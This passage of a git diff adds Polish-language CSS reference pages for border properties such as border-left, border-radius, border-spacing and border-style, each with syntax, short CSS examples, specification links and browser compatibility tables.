+<p>W celu zobaczenia obramowania musisz również ustawić {{ Cssxref("border-width") }} na wartość dodatnią oraz {{ Cssxref("border-style") }} na jakąś widoczną.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#border-color', 'border-color') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td>The <code>transparent</code> keyword has been removed as it is now a part of the {{cssxref("&lt;color&gt;")}} data type.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#border-color-properties', 'border-color') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>The property is now a shorthand property</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#border-color', 'border-color') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoDesktop("1.0") }} [1]</td>
+ <td>4.0</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{ CompatGeckoMobile("1.9.2") }} [1]</td>
+ <td>7.0</td>
+ <td>11</td>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/css/border-left-color/index.html b/files/pl/web/css/border-left-color/index.html
new file mode 100644
index 0000000000..80338c4cf0
--- /dev/null
+++ b/files/pl/web/css/border-left-color/index.html
@@ -0,0 +1,109 @@
+---
+title: border-left-color
+slug: Web/CSS/border-left-color
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-left-color
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>border-left-color</code> ustala kolor lewego obramowania elementu, poprzez konkretną wartość lub przez słowo kluczowe <code>transparent</code>.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: własność {{ Cssxref("color") }}</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: gdy brane z własności 'color', wartość wyliczona 'color'; w innym przypadki, wartość podana</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">border-left-color: <em>color</em> | transparent | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>color </dt>
+ <dd>Kolor może zostać podany przy pomocy szesnastkowej reprezentacji RGB, zwykłej wartości RGB lub przez predefiniowane słowo klucz.</dd>
+ <dt>transparent </dt>
+ <dd>Element nie ma własnego koloru, pokazuje kolor elementu spod niego.</dd>
+</dl>
+
+<h3 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h3>
+
+<ul>
+ <li>{{ Cssxref("border-color") }}</li>
+ <li>{{ Cssxref("border-bottom-color") }}</li>
+ <li>{{ Cssxref("border-right-color") }}</li>
+ <li>{{ Cssxref("border-top-color") }}</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ width: 300px;
+ padding: 15px;
+ border-bottom-size: 1px;
+ border-bottom-style: solid;
+ border-bottom-color: #000;
+}
+
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<ul>
+ <li><a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a></li>
+</ul>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-left-color">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-left">CSS 3</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("border") }}, {{ Cssxref("border-left") }}, {{ Cssxref("border-left-style") }}, {{ Cssxref("border-left-width") }},</p>
+
+<p>{{ languages( { "de": "de/CSS/border-left-color", "en": "en/CSS/border-left-color", "fr": "fr/CSS/border-left-color", "ja": "ja/CSS/border-left-color" } ) }}</p>
diff --git a/files/pl/web/css/border-left-style/index.html b/files/pl/web/css/border-left-style/index.html
new file mode 100644
index 0000000000..f1bbd8935b
--- /dev/null
+++ b/files/pl/web/css/border-left-style/index.html
@@ -0,0 +1,16 @@
+---
+title: border-left-style
+slug: Web/CSS/border-left-style
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-left-style
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>border-left-style</code> ustawia styl linii lewego obramowania bloku.</p>
+<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-style" title="pl/CSS/border-bottom-style">border-bottom-style</a></code>, aby uzyskać więcej informacji.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-left-style", "en": "en/CSS/border-left-style", "fr": "fr/CSS/border-left-style", "ja": "ja/CSS/border-left-style" } ) }}</p>
diff --git a/files/pl/web/css/border-left-width/index.html b/files/pl/web/css/border-left-width/index.html
new file mode 100644
index 0000000000..59ad05cd1a
--- /dev/null
+++ b/files/pl/web/css/border-left-width/index.html
@@ -0,0 +1,19 @@
+---
+title: border-left-width
+slug: Web/CSS/border-left-width
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-left-width
+---
+<p> {{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><code>border-left-width</code> ustawia szerokość lewego obramowania bloku.
+</p><p>Zobacz właściwość <a href="pl/CSS/border-bottom-width">border-bottom-width</a>, aby uzyskać więcej informacji.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/border-left-width", "fr": "fr/CSS/border-left-width" } ) }}
diff --git a/files/pl/web/css/border-left/index.html b/files/pl/web/css/border-left/index.html
new file mode 100644
index 0000000000..0a6ff6563a
--- /dev/null
+++ b/files/pl/web/css/border-left/index.html
@@ -0,0 +1,123 @@
+---
+title: border-left
+slug: Web/CSS/border-left
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-left
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>border-left</code> jest skróconą własnością dla ustawienia szerokości stylu i koloru lewej krawędzi elementu. Ta własność może być używana do ustawienia jednej lub kilku wartości: {{ Cssxref("border-left-width") }}, {{ Cssxref("border-left-style") }}, {{ Cssxref("border-left-color") }}. Pominięte wartości są ustawiane do ich wartości początkowych.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-left: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>border-width</dt>
+ <dd>Zobacz {{ Cssxref("border-width") }}.</dd>
+ <dt>border-style </dt>
+ <dd>Zobacz {{ Cssxref("border-style") }}.</dd>
+ <dt>border-color </dt>
+ <dd>Zobacz {{ Cssxref("border-color") }}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>element {
+ border-left: 1px solid #000;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Jeśli reguła nie określi koloru krawędzi, krawędź będzie miała kolor zdefiniowany przez własność {{ Cssxref("color") }}.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#border-left', 'border-left') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td>No direct changes, though the modification of values for the {{ cssxref("border-left-color") }} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No significant changes</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#border-left', 'border-left') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoDesktop("1.0") }}</td>
+ <td>4</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoMobile("1.0") }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/css/border-radius/index.html b/files/pl/web/css/border-radius/index.html
new file mode 100644
index 0000000000..ee38420619
--- /dev/null
+++ b/files/pl/web/css/border-radius/index.html
@@ -0,0 +1,69 @@
+---
+title: border-radius
+slug: Web/CSS/border-radius
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-radius
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych <code>border-radius</code> może być używany do nadawania obramowaniom zaokrąglonych rogów.</p>
+
+<ul>
+ <li>Wartość początkowa: 0</li>
+ <li>Dotyczy: wszystkich elementów</li>
+ <li>Dziedziczony: nie</li>
+</ul>
+
+<p><code>border-radius</code> nie stosuje się do elementów tabel, kiedy własność {{ Cssxref("border-collapse") }} ustawiona jest na <code>collapse</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-border-radius: &lt;border-radius&gt;{1,4} | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<p>&lt;border-radius&gt; reprezentuje jedną z wartości:</p>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>szerokość</dd>
+ <dt>&lt;percentage&gt;</dt>
+ <dd>procenty, względem długości boksu</dd>
+</dl>
+
+<p>Zatem są używane 4 wartości w porządku górny-lewy, górny-prawy, dolny-prawy i dolny-lewy. Jeśli podane są mniej niż 4 wartości, lista wartości jest powtarzana do wypełnienia pozostałych wartości.</p>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li><a href="/pl/CSS/-moz-border-radius-bottomleft" title="pl/CSS/-moz-border-radius-bottomleft">-moz-border-radius-bottomleft</a> ustawia zaokrąglenie dla dolnego lewego rogu.</li>
+ <li><a href="/pl/CSS/-moz-border-radius-bottomright" title="pl/CSS/-moz-border-radius-bottomright">-moz-border-radius-bottomright</a> ustawia zaokrąglenie dla dolnego prawego rogu.</li>
+ <li><a href="/pl/CSS/-moz-border-radius-topleft" title="pl/CSS/-moz-border-radius-topleft">-moz-border-radius-topleft</a> ustawia zaokrąglenie dla górnego lewego rogu.</li>
+ <li><a href="/pl/CSS/-moz-border-radius-topright" title="pl/CSS/-moz-border-radius-topright">-moz-border-radius-topright</a> ustawia zaokrąglenie dla górnego prawego rogu.</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ border: 10px solid #000000;
+ width: 500px;
+ height: 500px;
+ /* obramowanie wygnie się w kształt 'D' */
+ -moz-border-radius: 10px 200px 200px 10px;
+}
+</pre>
+
+<h2 id="Znane_b.C5.82.C4.99dy" name="Znane_b.C5.82.C4.99dy">Znane błędy</h2>
+
+<ul>
+ <li>Obrazek tła wysypuje się poza zaokrąglone obramowania. {{ Bug(24998) }}</li>
+ <li>Zaokrąglone obramowania wspierają tylko wartość <code>solid</code> własności {{ Cssxref("border-style") }}. {{ Bug(13944) }}</li>
+</ul>
diff --git a/files/pl/web/css/border-right-color/index.html b/files/pl/web/css/border-right-color/index.html
new file mode 100644
index 0000000000..7b17b50b3b
--- /dev/null
+++ b/files/pl/web/css/border-right-color/index.html
@@ -0,0 +1,16 @@
+---
+title: border-right-color
+slug: Web/CSS/border-right-color
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-right-color
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>border-right-color</code> ustala kolor prawego obramowania elementu.</p>
+<p>Zobacz również własność <code><a href="/pl/CSS/border-bottom-color" title="pl/CSS/border-bottom-color">border-bottom-color</a></code>.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-right-color", "en": "en/CSS/border-right-color", "fr": "fr/CSS/border-right-color", "ja": "ja/CSS/border-right-color" } ) }}</p>
diff --git a/files/pl/web/css/border-right-style/index.html b/files/pl/web/css/border-right-style/index.html
new file mode 100644
index 0000000000..eef2e15cdd
--- /dev/null
+++ b/files/pl/web/css/border-right-style/index.html
@@ -0,0 +1,16 @@
+---
+title: border-right-style
+slug: Web/CSS/border-right-style
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-right-style
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>border-right-style</code> ustawia styl linii prawego obramowania bloku.</p>
+<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-style" title="pl/CSS/border-bottom-style">border-bottom-style</a></code>, aby uzyskać więcej informacji.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-right-style", "en": "en/CSS/border-right-style", "fr": "fr/CSS/border-right-style", "ja": "ja/CSS/border-right-style" } ) }}</p>
diff --git a/files/pl/web/css/border-right-width/index.html b/files/pl/web/css/border-right-width/index.html
new file mode 100644
index 0000000000..ea649dc284
--- /dev/null
+++ b/files/pl/web/css/border-right-width/index.html
@@ -0,0 +1,17 @@
+---
+title: border-right-width
+slug: Web/CSS/border-right-width
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - border width
+translation_of: Web/CSS/border-right-width
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>border-right-width</code> ustawia szerokość prawego obramowania bloku.</p>
+<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-width" title="pl/CSS/border-bottom-width">border-bottom-width</a></code>, aby uzyskać więcej informacji.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-right-width", "en": "en/CSS/border-right-width", "fr": "fr/CSS/border-right-width", "ja": "ja/CSS/border-right-width" } ) }}</p>
diff --git a/files/pl/web/css/border-right/index.html b/files/pl/web/css/border-right/index.html
new file mode 100644
index 0000000000..a4510f4614
--- /dev/null
+++ b/files/pl/web/css/border-right/index.html
@@ -0,0 +1,123 @@
+---
+title: border-right
+slug: Web/CSS/border-right
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-right
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>border-right</code> jest skróconą własnością dla ustawienia szerokości, stylu i koloru prawej krawędzi elementu. Ta własność może być używana do ustawienia jednej lub kilku wartości: {{ Cssxref("border-right-width") }}, {{ Cssxref("border-right-style") }}, {{ Cssxref("border-right-color") }}. Pominięte wartości są ustawiane do ich wartości początkowych.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-right: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>border-width</dt>
+ <dd>Zobacz {{ Cssxref("border-width") }}.</dd>
+ <dt>border-style </dt>
+ <dd>Zobacz {{ Cssxref("border-style") }}.</dd>
+ <dt>border-color </dt>
+ <dd>Zobacz {{ Cssxref("border-color") }}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>element {
+ border-right: 1px solid #000;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Jeśli reguła nie określi koloru krawędzi, krawędź będzie miała kolor zdefiniowany przez własność {{ Cssxref("color") }}.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#border-right', 'border-right') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td>No direct changes, though the modification of values for the {{ cssxref("border-right-color") }} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No significant changes</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#border-right', 'border-right') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoDesktop("1.0") }}</td>
+ <td>4</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoMobile("1.0") }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/css/border-spacing/index.html b/files/pl/web/css/border-spacing/index.html
new file mode 100644
index 0000000000..d9085b8bfc
--- /dev/null
+++ b/files/pl/web/css/border-spacing/index.html
@@ -0,0 +1,101 @@
+---
+title: border-spacing
+slug: Web/CSS/border-spacing
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-spacing
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność <code>border-spacing</code> określa odległość pomiędzy obramowaniami sąsiadujących komórek (tylko dla <code><a href="pl/CSS/border-collapse">rozdzielnych obramowań</a></code>). Jest to odpowiednik atrybutu <code>cellspacing</code> w HTML-u.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: 0</li>
+ <li>Dotyczy: tabel i tabel zagnieżdżonych</li>
+ <li>{{ Xref_cssinherited() }}: Tak</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: dwie całkowite odległości</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<p>border-spacing: &lt;length&gt; | &lt;length&gt; &lt;length&gt; | inherit</p>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<ul>
+ <li><strong>&lt;length&gt;</strong> : Jednakowa odległość w pionie i poziomie.</li>
+ <li><strong>&lt;length&gt; &lt;length&gt;</strong> : Pierwsza wartość podaje poziomą odległość (przestrzeń pomiędzy komórką i sąsiednimi kolumnami), druga odległość pionową (pomiędzy komórką i sąsiadującymi z nią wierszami).</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/border-spacing.html">Zobacz przykład</a></p>
+
+<pre>table#space {
+ border-collapse: separate;
+ border-spacing: 10px 5px;
+}
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Ta własność ma zastosowanie tylko, gdy {{ Cssxref("border-collapse") }} ma wartość "separate".</p>
+
+<p>Własność <code>border-spacing</code> jest również używana przy zewnętrznej krawędzi tabeli, gdzie odległość pomiędzy obramowaniem tabeli a komórkami pierwszej/ostatniej kolumny lub wiersza jest sumą istotnej (poziomej lub pionowej) odległości od obramowania i istotnej (górnej, lewej, dolnej lub prawej) krawędzi tabeli.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#propdef-border-spacing">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>7</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Mozilla</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>6</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3>
+
+<p>{{ Cssxref("border-collapse") }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/border-spacing", "es": "es/CSS/border-spacing", "fr": "fr/CSS/border-spacing" } ) }}</p>
diff --git a/files/pl/web/css/border-style/index.html b/files/pl/web/css/border-style/index.html
new file mode 100644
index 0000000000..948d86d8a3
--- /dev/null
+++ b/files/pl/web/css/border-style/index.html
@@ -0,0 +1,126 @@
+---
+title: border-style
+slug: Web/CSS/border-style
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-style
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność <code>border-style</code> jest skróconą własnością dla ustawienia stylu linii dla wszystkich czterech stron obramowania elementów.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }} lub jak w indywidualnych własnościach</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: jak w indywidualnych własnościach</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">border-style: [ &lt;border-style&gt; ]{1,4} | <em>inherit</em>
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;border-style&gt;</dt>
+ <dd>Style linii mogą przyjąć którąś z podanych wartości.</dd>
+</dl>
+
+<ul>
+ <li><strong>none</strong> : Brak obramowania, ustawia szerokość na 0. Jest to domyślna wartość.</li>
+ <li><strong>hidden</strong> : Tak samo jako 'none', oprócz konfliktu rozdzielczości obramowania dla elementów tabeli.</li>
+ <li><strong>dashed</strong> : Serie kresek lub fragmentów linii.</li>
+ <li><strong>dotted</strong> : Serie kropek.</li>
+ <li><strong>double</strong> : Dwie proste linie, które dają w sumie liczbę pikseli zdefiniowaną jako <code>border-width</code>.</li>
+ <li><strong>groove</strong> : Efekt wyrzeźbienia.</li>
+ <li><strong>inset</strong> : Sprawia wrażenie, że blok jest zapadnięty.</li>
+ <li><strong>outset</strong> : Przeciwieństwo 'inset'. Sprawia, że blok wydaje się trójwymiarowy (wysunięty).</li>
+ <li><strong>ridge</strong> : Przeciwieństwo 'groove'. Obramowanie wydaje się trójwymiarowe (zapowiadane).</li>
+ <li><strong>solid</strong> : Pojedyncza, prosta, ciągła linia.</li>
+</ul>
+
+<p>Można podać do czterech wartości.<br>
+ Pierwsza wartość ustawia wszystkie cztery krawędzie.<br>
+ Druga ustawia lewą i prawą.<br>
+ Trzecia ustawia dolną.<br>
+ Czwarta ustawia lewą</p>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ border-width: 1px;
+ border-style: solid;
+ border-color: black;
+}
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Domyślnie <code>border-style</code> jest ustawione na <code>none</code>. To oznacza, że, jeśli zmieniasz wartość {{ Cssxref("border-width") }} oraz {{ Cssxref("border-color") }}, nie zobaczysz obramowania, dopóki nie zmienisz tej wartości na inną niż <code>none</code> lub <code>hidden</code></p>
+
+
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#border-style">CSS 1</a></li>
